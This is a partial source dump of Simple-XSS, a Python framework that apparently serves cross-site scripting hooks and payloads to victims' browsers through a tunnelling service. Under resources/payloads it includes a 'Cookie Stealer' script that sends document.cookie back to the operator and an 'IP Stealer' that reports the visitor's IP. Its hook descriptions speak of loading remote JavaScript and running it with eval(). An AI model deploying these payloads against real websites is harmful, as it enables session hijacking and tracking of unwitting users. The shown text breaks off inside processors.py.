32 | readme = "README.md"
33 |
34 | packages = [
35 | { include = "simplexss" },
36 | ]
37 |
38 | [tool.poetry.dependencies]
39 | python = "^3.12"
40 | pydantic = "^2.6.4"
41 | translatable-enums = "^0.0.3"
42 | pytest = "^8.1.1"
43 | toml = "^0.10.2"
44 | pyngrok = "^7.1.5"
45 | flet = "^0.21.2"
46 | pyperclip = "^1.8.2"
47 | websockets = "^12.0"
48 |
49 | [tool.poetry.group.dev.dependencies]
50 | ruff = "^0.3.3"
51 | mypy = "^1.9.0"
52 | pytest = "^8.1.1"
53 | pytest-asyncio = "^0.23.6"
54 |
55 | [build-system]
56 | requires = ["poetry-core"]
57 | build-backend = "poetry.core.masonry.api"
58 |
--------------------------------------------------------------------------------
/requirements/linux.txt:
--------------------------------------------------------------------------------
1 | pydantic
2 | translatable-enums
3 | pytest
4 | toml
5 | pyngrok
6 | flet
7 | pyperclip
--------------------------------------------------------------------------------
/requirements/windows.txt:
--------------------------------------------------------------------------------
1 | pydantic
2 | translatable-enums
3 | pytest
4 | toml
5 | pyngrok
6 | flet
7 | pyperclip
8 |
--------------------------------------------------------------------------------
/resources/hooks/http-eval/hook.py:
--------------------------------------------------------------------------------
1 | from simplexss.api.hooks import BaseHook
2 |
3 |
4 | class Hook(BaseHook):
5 | AUTHOR = 'crazyproger1'
6 | DESCRIPTION = 'HTTP Eval hook. '
7 | NAME = 'HTTP Eval Hook'
8 | VERSION = '0.0.1'
9 | TRANSPORTS = (
10 | 'Default HTTP Transport',
11 | )
12 |
13 | @property
14 | def hook(self) -> str:
15 | return f''
16 |
--------------------------------------------------------------------------------
/resources/hooks/http/hook.py:
--------------------------------------------------------------------------------
1 | from simplexss.api.hooks import BaseHook
2 |
3 |
4 | class Hook(BaseHook):
5 | AUTHOR = 'crazyproger1'
6 | DESCRIPTION = 'Default HTTP hook, uses script src.'
7 | NAME = 'Default HTTP Hook'
8 | VERSION = '0.0.1'
9 | TRANSPORTS = (
10 | 'Default HTTP Transport',
11 | )
12 |
13 | @property
14 | def hook(self) -> str:
15 | return f''
16 |
--------------------------------------------------------------------------------
/resources/hooks/websocket/hook.py:
--------------------------------------------------------------------------------
1 | from simplexss.api.hooks import BaseHook
2 |
3 |
4 | class Hook(BaseHook):
5 | AUTHOR = 'crazyproger1'
6 | DESCRIPTION = 'Default Websocket hook. Loads payload js via WebSockets and executes in eval().'
7 | NAME = 'Default Websocket Hook'
8 | VERSION = '0.1'
9 | TRANSPORTS = (
10 | 'Default Websocket Transport',
11 | )
12 |
13 | @property
14 | def hook(self) -> str:
15 | return f""
16 |
--------------------------------------------------------------------------------
/resources/images/logo.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/logo.ico
--------------------------------------------------------------------------------
/resources/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/logo.png
--------------------------------------------------------------------------------
/resources/images/service1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/service1.png
--------------------------------------------------------------------------------
/resources/images/service2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/service2.png
--------------------------------------------------------------------------------
/resources/images/tutor1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor1.png
--------------------------------------------------------------------------------
/resources/images/tutor10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor10.png
--------------------------------------------------------------------------------
/resources/images/tutor11.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor11.png
--------------------------------------------------------------------------------
/resources/images/tutor12.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor12.png
--------------------------------------------------------------------------------
/resources/images/tutor2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor2.png
--------------------------------------------------------------------------------
/resources/images/tutor3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor3.png
--------------------------------------------------------------------------------
/resources/images/tutor4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor4.png
--------------------------------------------------------------------------------
/resources/images/tutor5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor5.png
--------------------------------------------------------------------------------
/resources/images/tutor6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor6.png
--------------------------------------------------------------------------------
/resources/images/tutor7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor7.png
--------------------------------------------------------------------------------
/resources/images/tutor8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor8.png
--------------------------------------------------------------------------------
/resources/images/tutor9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/tutor9.png
--------------------------------------------------------------------------------
/resources/images/v0.0.3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/resources/images/v0.0.3.png
--------------------------------------------------------------------------------
/resources/locales/en/LC_MESSAGES/simplexss.po:
--------------------------------------------------------------------------------
1 | msgid ""
2 | msgstr ""
3 | "Project-Id-Version: \n"
4 | "POT-Creation-Date: \n"
5 | "PO-Revision-Date: \n"
6 | "Last-Translator: \n"
7 | "Language-Team: \n"
8 | "Language: en\n"
9 | "MIME-Version: 1.0\n"
10 | "Content-Type: text/plain; charset=UTF-8\n"
11 | "Content-Transfer-Encoding: 8bit\n"
12 | "Plural-Forms: nplurals=2; plural=(n != 1);\n"
13 | "X-Generator: Poedit 3.2.2\n"
14 |
15 | msgid "Public URL"
16 | msgstr "Public URL"
17 |
18 | msgid "Port"
19 | msgstr "Port"
20 |
21 | msgid "Send"
22 | msgstr "Send"
23 |
24 | msgid "Message"
25 | msgstr "Message"
26 |
27 | msgid "Copy"
28 | msgstr "Copy"
29 |
30 | msgid "Host"
31 | msgstr "Host"
32 |
33 | msgid "Stop"
34 | msgstr "Stop"
35 |
36 | msgid "Run"
37 | msgstr "Run"
38 |
39 | msgid "Ok"
40 | msgstr "Ok"
41 |
42 | msgid "Network"
43 | msgstr "Network"
44 |
45 | msgid "Use Tunnelling Service"
46 | msgstr "Use Tunnelling Service"
47 |
48 | msgid "Payload"
49 | msgstr "Payload"
50 |
51 | msgid "Hook"
52 | msgstr "Hook"
53 |
54 | msgid "Process launched"
55 | msgstr "Process launched"
56 |
57 | msgid "Process terminated"
58 | msgstr "Process terminated"
59 |
60 | msgid "Current hook: {hook}"
61 | msgstr "Current hook: {hook}"
62 |
--------------------------------------------------------------------------------
/resources/locales/uk/LC_MESSAGES/simplexss.po:
--------------------------------------------------------------------------------
1 | msgid ""
2 | msgstr ""
3 | "Project-Id-Version: \n"
4 | "POT-Creation-Date: \n"
5 | "PO-Revision-Date: \n"
6 | "Last-Translator: \n"
7 | "Language-Team: \n"
8 | "Language: uk\n"
9 | "MIME-Version: 1.0\n"
10 | "Content-Type: text/plain; charset=UTF-8\n"
11 | "Content-Transfer-Encoding: 8bit\n"
12 | "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2);\n"
13 | "X-Generator: Poedit 3.2.2\n"
14 |
15 | msgid "Public URL"
16 | msgstr ""
17 |
18 | msgid "Port"
19 | msgstr "Порт"
20 |
21 | msgid "Send"
22 | msgstr "Надіслати"
23 |
24 | msgid "Message"
25 | msgstr "Повідомлення"
26 |
27 | msgid "Copy"
28 | msgstr "Скопіювати"
29 |
30 | msgid "Host"
31 | msgstr "Хост"
32 |
33 | msgid "Stop"
34 | msgstr "Зупинити"
35 |
36 | msgid "Run"
37 | msgstr "Запустити"
38 |
39 | msgid "Ok"
40 | msgstr "Ок"
41 |
42 | msgid "Network"
43 | msgstr "Налаштування Мережі"
44 |
45 | msgid "Use Tunnelling Service"
46 | msgstr "Використовувати сервіс тунелювання"
47 |
48 | msgid "Payload"
49 | msgstr "Пейлоад"
50 |
51 | msgid "Hook"
52 | msgstr "Хук"
53 |
54 | msgid "Process launched"
55 | msgstr "Процес запущено"
56 |
57 | msgid "Process terminated"
58 | msgstr "Процес припинено"
59 |
60 | msgid "Current hook: {hook}"
61 | msgstr "Хук: {hook}"
62 |
--------------------------------------------------------------------------------
/resources/payloads/alert/payload.js:
--------------------------------------------------------------------------------
1 | addListener('alert', (data) => alert(data.text))
2 |
3 |
--------------------------------------------------------------------------------
/resources/payloads/alert/payload.py:
--------------------------------------------------------------------------------
1 | from simplexss.api import (
2 | BasePayload,
3 | BaseClient,
4 | BaseEvent,
5 | render
6 | )
7 |
8 |
9 | class Payload(BasePayload):
10 | AUTHOR = 'crazyproger1'
11 | DESCRIPTION = 'Alerts your message when connection established.'
12 | NAME = 'Alert'
13 | VERSION = '0.0.1'
14 |
15 | async def on_connection(self, client: BaseClient, event: BaseEvent):
16 | await self.io.print(f'Connection established: {client.origin}')
17 |
18 | text = await self.io.input('Text')
19 |
20 | return {
21 | 'name': 'alert',
22 | 'data': {
23 | 'text': text
24 | }
25 | }
26 |
27 | def bind_endpoints(self):
28 | self.transport.bind_endpoint('connection', self.on_connection)
29 |
30 | @property
31 | def payload(self) -> str:
32 | return render(self.directory, 'payload.js', )
33 |
--------------------------------------------------------------------------------
/resources/payloads/cookies/payload.js:
--------------------------------------------------------------------------------
1 | sendEvent('cookies', {'cookies': document.cookie})
2 |
3 |
--------------------------------------------------------------------------------
/resources/payloads/cookies/payload.py:
--------------------------------------------------------------------------------
1 | from simplexss.api import (
2 | BasePayload,
3 | BaseClient,
4 | BaseEvent,
5 | render
6 | )
7 |
8 |
9 | class Payload(BasePayload):
10 | AUTHOR = 'crazyproger1'
11 | DESCRIPTION = 'Steals cookies.'
12 | NAME = 'Cookie Stealer'
13 | VERSION = '0.0.1'
14 |
15 | async def on_cookies(self, client: BaseClient, event: BaseEvent):
16 | await self.io.print(f'Cookies: {event.data.get("cookies")}')
17 |
18 | async def on_connection(self, client: BaseClient, event: BaseEvent):
19 | await self.io.print(f'Connection established: {client.origin}')
20 |
21 | def bind_endpoints(self):
22 | self.transport.bind_endpoint('connection', self.on_connection)
23 | self.transport.bind_endpoint('cookies', self.on_cookies)
24 |
25 | @property
26 | def payload(self) -> str:
27 | return render(self.directory, 'payload.js', )
28 |
--------------------------------------------------------------------------------
/resources/payloads/ip/payload.js:
--------------------------------------------------------------------------------
1 | fetch('https://api.ipify.org?format=json')
2 | .then(response => response.json())
3 | .then(data => sendEvent('ip', {'ip': data.ip}));
4 |
--------------------------------------------------------------------------------
/resources/payloads/ip/payload.py:
--------------------------------------------------------------------------------
1 | from simplexss.api import (
2 | BasePayload,
3 | BaseClient,
4 | BaseEvent,
5 | render
6 | )
7 |
8 |
9 | class Payload(BasePayload):
10 | AUTHOR = 'crazyproger1'
11 | DESCRIPTION = 'Steals IP.'
12 | NAME = 'IP Stealer'
13 | VERSION = '0.0.1'
14 |
15 | async def on_ip(self, client: BaseClient, event: BaseEvent):
16 | await self.io.print(f'IP: {event.data.get("ip", "unknown")}')
17 |
18 | async def on_connection(self, client: BaseClient, event: BaseEvent):
19 | await self.io.print(f'Connection established: {client.origin}')
20 |
21 | def bind_endpoints(self):
22 | self.transport.bind_endpoint('connection', self.on_connection)
23 | self.transport.bind_endpoint('ip', self.on_ip)
24 |
25 | @property
26 | def payload(self) -> str:
27 | return render(self.directory, 'payload.js', )
28 |
--------------------------------------------------------------------------------
/resources/plugins/settings/plugin.py:
--------------------------------------------------------------------------------
1 | from simplexss.api import (
2 | BasePlugin,
3 | CoreChannel,
4 | CoreContainer
5 | )
6 |
7 | from simplexss.utils.di import inject
8 |
9 |
10 | class Plugin(BasePlugin):
11 | NAME = 'Settings Loading Detector'
12 |
13 | def on_loaded(self, file: str):
14 | CoreChannel.settings_loaded.subscribe(self.on_settings_loaded)
15 |
16 | @inject
17 | def on_settings_loaded(self, settings=CoreContainer.settings):
18 | print(f'Settings loaded: {settings}')
19 |
--------------------------------------------------------------------------------
/simplexss/__init__.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.ui import gui, cli
2 |
--------------------------------------------------------------------------------
/simplexss/__main__.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 |
3 | from i18n import (
4 | set_language
5 | )
6 |
7 | import simplexss.api
8 | from simplexss.core.logging import logger
9 | from simplexss.core.types import BaseCore
10 | from simplexss.core.utils import (
11 | load_hooks,
12 | load_payloads,
13 | load_plugins
14 | )
15 | from simplexss.core.channels import CoreChannel
16 | from simplexss.core.containers import CoreContainer
17 | from simplexss.core.arguments import parse_arguments
18 |
19 | from simplexss.core.settings import (
20 | load_settings,
21 | save_settings
22 | )
23 | from simplexss.utils.di import (
24 | inject,
25 | setup
26 | )
27 |
28 |
29 | @inject
30 | async def run_core(core: BaseCore = CoreContainer.core):
31 | await core.run()
32 |
33 |
34 | async def main():
35 | logger.info('Application started')
36 |
37 | setup()
38 | logger.info(f'DI containers configured')
39 |
40 | load_plugins()
41 |
42 | await CoreChannel.plugins_loaded.publish_async()
43 |
44 | arguments = parse_arguments()
45 | CoreContainer.arguments.bind(arguments)
46 | await CoreChannel.arguments_loaded.publish_async()
47 |
48 | set_language(arguments.language)
49 | logger.info(f'Language set: {arguments.language}')
50 |
51 | settings = load_settings()
52 | CoreContainer.settings.bind(settings)
53 | await CoreChannel.settings_loaded.publish_async()
54 |
55 | load_hooks()
56 |
57 | await CoreChannel.hooks_loaded.publish_async()
58 |
59 | load_payloads()
60 |
61 | await CoreChannel.payloads_loaded.publish_async()
62 |
63 | await run_core()
64 |
65 | save_settings()
66 |
67 | logger.info('Application terminated')
68 |
69 |
70 | if __name__ == '__main__':
71 | asyncio.run(main())
72 |
--------------------------------------------------------------------------------
/simplexss/api/__init__.py:
--------------------------------------------------------------------------------
1 | from .di import *
2 | from .payloads import *
3 | from .hooks import *
4 | from .plugins import *
5 | from .events import *
6 | from .io import *
7 | from .transports import *
8 |
--------------------------------------------------------------------------------
/simplexss/api/di.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.containers import (
2 | CoreContainer,
3 | )
4 | from simplexss.core.ui.gui.containers import (
5 | GUIContainer,
6 | )
7 |
--------------------------------------------------------------------------------
/simplexss/api/events.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.channels import (
2 | CoreChannel,
3 | )
4 | from simplexss.core.ui.channels import (
5 | UIChannel,
6 | )
7 |
8 |
--------------------------------------------------------------------------------
/simplexss/api/hooks.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.types import BaseHook
2 |
3 |
--------------------------------------------------------------------------------
/simplexss/api/io.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.io import (
2 | BaseIOManagerAPI,
3 | )
4 |
--------------------------------------------------------------------------------
/simplexss/api/payloads.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.types import BasePayload
2 | from simplexss.utils.jinja import render
3 |
--------------------------------------------------------------------------------
/simplexss/api/plugins.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.types import BasePlugin
2 |
3 |
--------------------------------------------------------------------------------
/simplexss/api/transports.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.transports import (
2 | BaseTransportAPI,
3 | BaseEvent,
4 | BaseSession,
5 | BaseClient
6 | )
7 |
--------------------------------------------------------------------------------
/simplexss/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/__init__.py
--------------------------------------------------------------------------------
/simplexss/core/arguments.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.containers import CoreContainer
2 | from simplexss.utils.di import inject
3 | from simplexss.utils.arguments import BaseSchemedArgumentParser
4 |
5 |
6 | @inject
7 | def parse_arguments(parser: BaseSchemedArgumentParser = CoreContainer.arguments_parser, ):
8 | return parser.parse_schemed_args()
9 |
--------------------------------------------------------------------------------
/simplexss/core/channels.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.events import (
2 | EventChannel,
3 | AsyncEvent,
4 | Event
5 | )
6 |
7 |
8 | class CoreChannel(EventChannel):
9 | plugins_loaded = AsyncEvent()
10 | hooks_loaded = AsyncEvent()
11 | payloads_loaded = AsyncEvent()
12 | arguments_loaded = AsyncEvent()
13 | settings_loaded = AsyncEvent()
14 | core_initialized = Event()
15 | core_terminated = AsyncEvent()
16 |
--------------------------------------------------------------------------------
/simplexss/core/config.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 |
4 | from i18n import set_domain
5 |
6 | from simplexss.core.enums import (
7 | GraphicMode,
8 | )
9 |
10 | RESOURCES_DIRECTORY = 'resources'
11 |
12 | # App
13 | DEBUG = True
14 | APP = 'Simple-XSS'
15 | VERSION = '0.3'
16 | ICON = 'resources/images/logo.ico'
17 |
18 | # Settings
19 | DEFAULT_SETTINGS_FILE = 'settings.toml'
20 |
21 | # Graphic
22 | DEFAULT_GRAPHIC_MODE = GraphicMode.GUI.value
23 | DEFAULT_THEME = 'dark'
24 | DEFAULT_RESOLUTION = (1280, 760)
25 | MIN_RESOLUTION = DEFAULT_RESOLUTION
26 |
27 | # Plugins
28 | PLUGINS_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'plugins')
29 | PLUGIN_FILE = 'plugin.py'
30 |
31 | # Payloads
32 | PAYLOADS_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'payloads')
33 | PAYLOAD_FILE = 'payload.py'
34 |
35 | # Hooks
36 | HOOKS_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'hooks')
37 | HOOK_FILE = 'hook.py'
38 |
39 | # Logging
40 | LOGGING_VERBOSITY = True
41 | LOG_FILE = f'{APP}_{VERSION}.log'
42 | LOG_FILE_COMPRESSION = 'zip'
43 | LOGGING_LEVEL = logging.DEBUG if DEBUG else logging.INFO
44 | LOGGING_FORMAT = '%(levelname)s: %(name)s: %(message)s'
45 |
46 | # Network
47 | DEFAULT_HOST = 'localhost'
48 | DEFAULT_PORT = 4444
49 | DEFAULT_TRANSPORT = 'http'
50 | DEFAULT_TUNNELING_SERVICE = 'serveo'
51 |
52 | # i18n
53 | DOMAIN = 'simplexss'
54 | LOCALES_DIRECTORY = os.path.join(RESOURCES_DIRECTORY, 'locales')
55 | DEFAULT_LANGUAGE = 'en'
56 | set_domain(DOMAIN, LOCALES_DIRECTORY)
57 |
--------------------------------------------------------------------------------
/simplexss/core/containers.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.ui.contexts import UIContext
2 | from simplexss.utils.packages import PackageManager
3 | from simplexss.core.tunneling import TunnelingServiceFactory
4 | from simplexss.core.transports import TransportServiceFactory
5 | from simplexss.core.ui import UIFactory
6 | from simplexss.core.io import IOManagerAPI
7 | from simplexss.core.process import SimpleXSSProcessor
8 | from simplexss.utils.di import (
9 | containers,
10 | dependencies
11 | )
12 | from simplexss.utils.arguments import (
13 | SchemedArgumentParser
14 | )
15 | from simplexss.utils.settings.toml import (
16 | TOMLLoader,
17 | )
18 | from simplexss.core.core import Core
19 | from simplexss.core.schemas import (
20 | ArgumentsSchema,
21 | SettingsSchema
22 | )
23 | from simplexss.core.types import (
24 | BaseHook,
25 | BasePlugin,
26 | BasePayload
27 | )
28 |
29 |
30 | class CoreContainer(containers.Container):
31 | arguments_schema = dependencies.Dependency(ArgumentsSchema)
32 | settings_schema = dependencies.Dependency(SettingsSchema)
33 |
34 | arguments_parser = dependencies.Factory(SchemedArgumentParser, kwargs={'schema': arguments_schema})
35 | settings_loader = dependencies.Factory(TOMLLoader)
36 |
37 | arguments = dependencies.Dependency()
38 | settings = dependencies.Dependency()
39 |
40 | plugin_class = dependencies.Dependency(BasePlugin)
41 | plugin_manager = dependencies.Singleton(PackageManager)
42 |
43 | hook_class = dependencies.Dependency(BaseHook)
44 | hook_manager = dependencies.Singleton(PackageManager)
45 |
46 | payload_class = dependencies.Dependency(BasePayload)
47 | payload_manager = dependencies.Singleton(PackageManager)
48 |
49 | ui_factory = dependencies.Factory(UIFactory)
50 |
51 | tunneling_service_factory = dependencies.Factory(TunnelingServiceFactory)
52 | transport_service_factory = dependencies.Factory(TransportServiceFactory)
53 |
54 | io_manager = dependencies.Singleton(IOManagerAPI)
55 |
56 | ui_context = dependencies.Singleton(
57 | UIContext,
58 | kwargs={
59 | 'settings': settings,
60 | 'arguments': arguments
61 | }
62 | )
63 |
64 | processor = dependencies.Factory(
65 | SimpleXSSProcessor,
66 | kwargs={
67 | 'arguments': arguments,
68 | 'settings': settings,
69 | 'transport_factory': transport_service_factory,
70 | 'tunneling_factory': tunneling_service_factory,
71 | 'hook_manager': hook_manager,
72 | 'payload_manager': payload_manager,
73 | 'io_manager': io_manager,
74 | 'ui_context': ui_context
75 | }
76 | )
77 |
78 | core = dependencies.Singleton(
79 | Core,
80 | kwargs={
81 | 'arguments': arguments,
82 | 'settings': settings,
83 | 'ui_factory': ui_factory,
84 | 'processor': processor
85 | }
86 | )
87 |
--------------------------------------------------------------------------------
/simplexss/core/core.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.ui.channels import UIChannel
2 | from simplexss.core.channels import CoreChannel
3 | from simplexss.core.logging import logger
4 | from simplexss.core.process import BaseProcessor
5 | from simplexss.core.process.channels import ProcessorChannel
6 | from simplexss.core.schemas import (
7 | ArgumentsSchema,
8 | SettingsSchema
9 | )
10 | from simplexss.core.ui import (
11 | BaseUIFactory,
12 | BaseUI
13 | )
14 | from simplexss.core.types import (
15 | BaseCore,
16 | )
17 |
18 |
19 | class Core(BaseCore):
20 | def __init__(
21 | self,
22 | arguments: ArgumentsSchema,
23 | settings: SettingsSchema,
24 | ui_factory: BaseUIFactory,
25 | processor: BaseProcessor,
26 | ):
27 | from simplexss.core.ui import gui, cli
28 |
29 | self._arguments = arguments
30 | self._settings = settings
31 | self._ui: BaseUI = ui_factory.create(self._arguments.graphic_mode)
32 | self._processor = processor
33 |
34 | CoreChannel.core_initialized.publish()
35 | logger.info('Core initialized')
36 |
37 | UIChannel.process_launched.subscribe(self._run_process)
38 | UIChannel.process_terminated.subscribe(self._stop_process)
39 | ProcessorChannel.error_occurred.subscribe(self._handle_error)
40 | ProcessorChannel.process_launched.subscribe(self._handle_launched)
41 |
42 | async def _handle_error(self, error: str):
43 | await UIChannel.show_error.publish_async(error=error)
44 |
45 | async def _handle_launched(self):
46 | await self._ui.update()
47 |
48 | async def _run_process(self):
49 | await self._processor.run()
50 |
51 | async def _stop_process(self):
52 | await self._processor.stop()
53 |
54 | async def run(self):
55 | await self._ui.run()
56 |
57 | await CoreChannel.core_terminated.publish_async()
58 | logger.info('Core terminated')
59 |
--------------------------------------------------------------------------------
/simplexss/core/data/__init__.py:
--------------------------------------------------------------------------------
1 | from .environments import (
2 | Environment,
3 | )
4 |
5 | __all__ = [
6 | 'Environment',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/core/data/environments.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 |
3 | from simplexss.core.schemas import (
4 | SettingsSchema,
5 | ArgumentsSchema,
6 | )
7 |
8 |
9 | @dataclass
10 | class Environment:
11 | url: str = None
12 | settings: SettingsSchema = None
13 | arguments: ArgumentsSchema = None
14 |
--------------------------------------------------------------------------------
/simplexss/core/enums/__init__.py:
--------------------------------------------------------------------------------
1 | from .graphic import GraphicMode
2 |
3 | __all__ = [
4 | 'GraphicMode',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/core/enums/graphic.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 |
3 |
4 | class GraphicMode(str, Enum):
5 | GUI = 'gui'
6 |
--------------------------------------------------------------------------------
/simplexss/core/io/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import (
2 | BaseIOManagerAPI,
3 | Color
4 | )
5 |
6 | from .api import IOManagerAPI
7 |
8 | __all__ = [
9 | 'BaseIOManagerAPI',
10 | 'IOManagerAPI',
11 | 'Color',
12 | ]
13 |
--------------------------------------------------------------------------------
/simplexss/core/io/api.py:
--------------------------------------------------------------------------------
1 | from .types import (
2 | BaseIOManagerAPI,
3 | Source,
4 | Sink,
5 | Color
6 | )
7 | from .logging import logger
8 |
9 |
10 | class IOManagerAPI(BaseIOManagerAPI):
11 | def __init__(self):
12 | self._sinks: list[Sink] = []
13 | self._source: Source | None = None
14 |
15 | async def print(self, *args, color: Color | str = Color.DEFAULT, sep: str = ' ', end: str = '\n'):
16 | seq = sep.join(map(str, args)) + end
17 | logger.debug(f'apicall: print called: {seq}')
18 |
19 | for sink in self._sinks:
20 | return await sink(seq, color)
21 |
22 | async def input(self, prompt: str, /, *, color: Color | str = Color.DEFAULT):
23 | logger.debug(f'apicall: input called: {prompt}')
24 |
25 | assert self._source is not None, 'Source not set'
26 | return await self._source(prompt, color)
27 |
28 | def add_sink(self, sink: Sink):
29 | if not callable(sink):
30 | raise TypeError('Sink must be callable')
31 | self._sinks += [sink]
32 |
33 | def set_source(self, source: Source):
34 | if not callable(source):
35 | raise TypeError('Source must be callable')
36 | self._source = source
37 |
--------------------------------------------------------------------------------
/simplexss/core/io/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from simplexss.core.config import APP
4 |
5 | logger = logging.getLogger(f'{APP}: io')
6 |
--------------------------------------------------------------------------------
/simplexss/core/io/types.py:
--------------------------------------------------------------------------------
1 | from abc import ABC, abstractmethod
2 | from enum import Enum
3 | from typing import Callable, Coroutine
4 |
5 | type Sink = Callable[[str, Color], Coroutine]
6 | type Source = Callable[[str, Color], Coroutine]
7 |
8 |
9 | class Color(str, Enum):
10 | RED = 'red'
11 | GREEN = 'green'
12 | BLUE = 'blue'
13 | DEFAULT = 'default'
14 |
15 |
16 | class BaseIOManagerAPI(ABC):
17 | @abstractmethod
18 | async def print(self, *args, color: Color | str = Color.DEFAULT, sep: str = ' ', end: str = '\n'): ...
19 |
20 | @abstractmethod
21 | async def input(self, prompt: str, /, *, color: Color | str = Color.DEFAULT): ...
22 |
23 | @abstractmethod
24 | def add_sink(self, sink: Sink): ...
25 |
26 | @abstractmethod
27 | def set_source(self, source: Source): ...
28 |
--------------------------------------------------------------------------------
/simplexss/core/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from simplexss.core.config import (
4 | APP,
5 | DEBUG,
6 | LOGGING_LEVEL,
7 | LOGGING_FORMAT
8 | )
9 |
10 | logging.basicConfig(
11 | level=LOGGING_LEVEL,
12 | filename=f'{APP}.log',
13 | filemode='w',
14 | format=LOGGING_FORMAT
15 | )
16 | logger = logging.getLogger(APP)
17 |
--------------------------------------------------------------------------------
/simplexss/core/process/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import BaseProcessor
2 | from .processors import SimpleXSSProcessor
3 |
4 | __all__ = [
5 | 'BaseProcessor',
6 | 'SimpleXSSProcessor',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/core/process/channels.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.events import (
2 | EventChannel,
3 | AsyncEvent,
4 | )
5 |
6 |
7 | class ProcessorChannel(EventChannel):
8 | error_occurred = AsyncEvent(required_kwargs=('error',))
9 |
10 | process_launched = AsyncEvent()
11 | process_terminated = AsyncEvent()
12 |
--------------------------------------------------------------------------------
/simplexss/core/process/enums.py:
--------------------------------------------------------------------------------
1 | from i18n import TranslatableEnum
2 |
3 |
4 | class Messages(TranslatableEnum):
5 | PROCESS_LAUNCHED = 'Process launched'
6 | PROCESS_TERMINATED = 'Process terminated'
7 | CURRENT_HOOK = 'Current hook: {hook}'
8 |
--------------------------------------------------------------------------------
/simplexss/core/process/logging.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from simplexss.core.config import APP
4 |
5 | logger = logging.getLogger(APP)
6 |
--------------------------------------------------------------------------------
/simplexss/core/process/processors.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.data import Environment
2 | from simplexss.core.io import BaseIOManagerAPI
3 | from simplexss.core.transports import (
4 | TransportServiceFactory,
5 | BaseTransportService,
6 | BaseSession as BaseTransportSession,
7 | )
8 | from simplexss.core.transports.exceptions import TransportError
9 | from simplexss.core.tunneling import (
10 | TunnelingServiceFactory,
11 | BaseTunnelingService,
12 | BaseSession as BaseTunnelingSession,
13 | )
